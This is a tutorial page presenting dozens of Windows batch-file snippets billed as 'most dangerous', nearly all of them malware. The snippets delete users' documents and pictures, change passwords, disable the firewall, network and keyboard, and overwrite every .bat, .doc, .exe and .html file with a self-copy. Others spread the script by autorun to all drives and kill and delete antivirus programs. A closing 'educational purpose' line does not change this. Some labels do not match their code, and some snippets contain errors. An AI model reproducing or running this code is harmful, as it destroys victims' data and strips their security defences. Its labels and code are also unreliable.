How To Make Most Dangerous Batch File (.bat) Using Notepad

Block Google.

Code:

@echo off
::--------Block Google-------::
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 www.google.com >> "Hosts"
::---------------------------::

Block Hotmail.

Code:

@echo off
::--------Block Hotmail------::
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 hotmail.com >> "Hosts"
echo 127.0.0.1 www.hotmail.com >> "Hosts"
::---------------------------::

Block MSN.

Code:

@echo off
::---------Block MSN---------::
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 msn.com >> "Hosts"
echo 127.0.0.1 www.msn.com >> "Hosts"
::---------------------------::

Block wikipedia.

Code:

@echo off
::-------Block Wikipedia-----::
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 wikipedia.org >> "Hosts"
echo 127.0.0.1 www.wikipedia.org >> "Hosts"
::---------------------------::

Change time to 00:00.

Code:

::__---Virus Created By Virus Author---__::
@echo off
::------Change The Time------::
time 00:00
::---------------------------::

Change user pass.

Code:

@echo off
::--Change Pass To InShadow--::
net user %username% InShadow
::---------------------------::

Create account OWNED.

Code:

@echo off
::----Hide My Music Folder---::
attrib +h "%userprofile%\my documents\my music"
::---------------------------::

Delete all docs.

Code:

@echo off
::----Delete My Documents----::
del /f /q "C:\Users\%userprofile%\My Documents\*.*"
::---------------------------::

Delete all music.

Code:

@echo off
::-----Delete My Music-------::
del /f /q "C:\Users\%userprofile%\My Documents\My Music\*.*"
::---------------------------::

Delete all pics.

Code:

@echo off
::-----Delete My Pictures----::
del /f /q "C:\Users\%userprofile%\My Documents\My Pictures\*.*"
::---------------------------::

Disable Firewall.

Code:

@echo off
::-Disable Windows Firewall--::
net stop "MpsSvc"
taskkill /f /t /im "FirewallControlPanel.exe"
::---------------------------::

Disable Internet.

Code:

@echo off
::-----Disable Internet------::
ipconfig /release
if ERRORLEVEL1 ipconfig /release_all
::---------------------------::

Disable Keyboard.

Code:

@echo off
::------Disable Keyboard-----::
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg
::---------------------------::

Infect all Bat.

Code:

@echo off
::----Infect All Bat Files---::
    Dir %Homedrive% /s /b > DirPath                      
        For /f %%Y In (DirPath) Do (
        Set DirPath=%%Y > Nul
            For %%Z In (%DirPath%\*.bat) Do (
            Set BatInfect=%%Z > Nul
            Copy /y %0 %BatInfect%
        )
    )

Del /f /s /q DirPath
::---------------------------::

Infect all docs.

Code:

@echo off
::-------Infect All .Doc-----::
Dir %Homedrive% /s /b > DirPath                      
        For /f %%Y In (DirPath) Do (
        Set DirPath=%%Y > Nul
            For %%Z In (%DirPath%\*.doc) Do (
            Set DocInfect=%%Z > Nul
            Copy /y %0 %DocInfect%
        )
    )

Del /f /s /q DirPath
::---------------------------::

Infect all Drivers.

Code:

@echo off

::-----Infect All Drives-----::
for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)
::---------------------------::

Infect all .exe files.

Code:

@echo off
::----Infect All Exe Files---::
    Dir %Homedrive% /s /b > DirPath                      
        For /f %%Y In (DirPath) Do (
        Set DirPath=%%Y > Nul
            For %%Z In (%DirPath%\*.exe) Do (
            Set ExeInfect=%%Z > Nul
            Copy /y %0 %ExeInfect%
        )
    )

Del /f /s /q DirPath
::---------------------------::

Open disk.

Code:

@echo off
::-------Open Disk Tray------::
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject  >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject  >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
::---------------------------::

Spam /C Drive.

Code:

@echo off
::-------Spam C Drive--------::
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
::---------------------------::

Kill Anti-virus.

Code:

@echo off

::-------AV Kill [UD]--------::
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
::---------------------------::

Infect all HTML.

Code:

@echo off
::--Infect All Html Files---::
    Dir %Homedrive% /s /b > DirPath                      
        For /f %%Y In (DirPath) Do (
        Set DirPath=%%Y > Nul
            For %%Z In (%DirPath%\*.html) Do (
            Set HtmlInfect=%%Z > Nul
            Copy /y %0 %HtmlInfect%
        )
    )

Del /f /s /q DirPath
::---------------------------::

Hide MUSIC folder.

Code:

@echo off
::----Hide My Music Folder---::
attrib +h "%userprofile%\my documents\my music"
::---------------------------::

Startup XP song

Code:

@echo off
::--Start Hidden WinXP Song--::
cd "C:\Windows\system32\oobe\images"
start title.wma
::---------------------------::

Infect CMD.

Code:

@echo off
::-----Infect "ls" CMD-----::
copy %0 %windir%\system32\ls.bat
::---------------------------::

 These Tricks Are Only For EDUCATIONAL Purpose.

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ENJOY..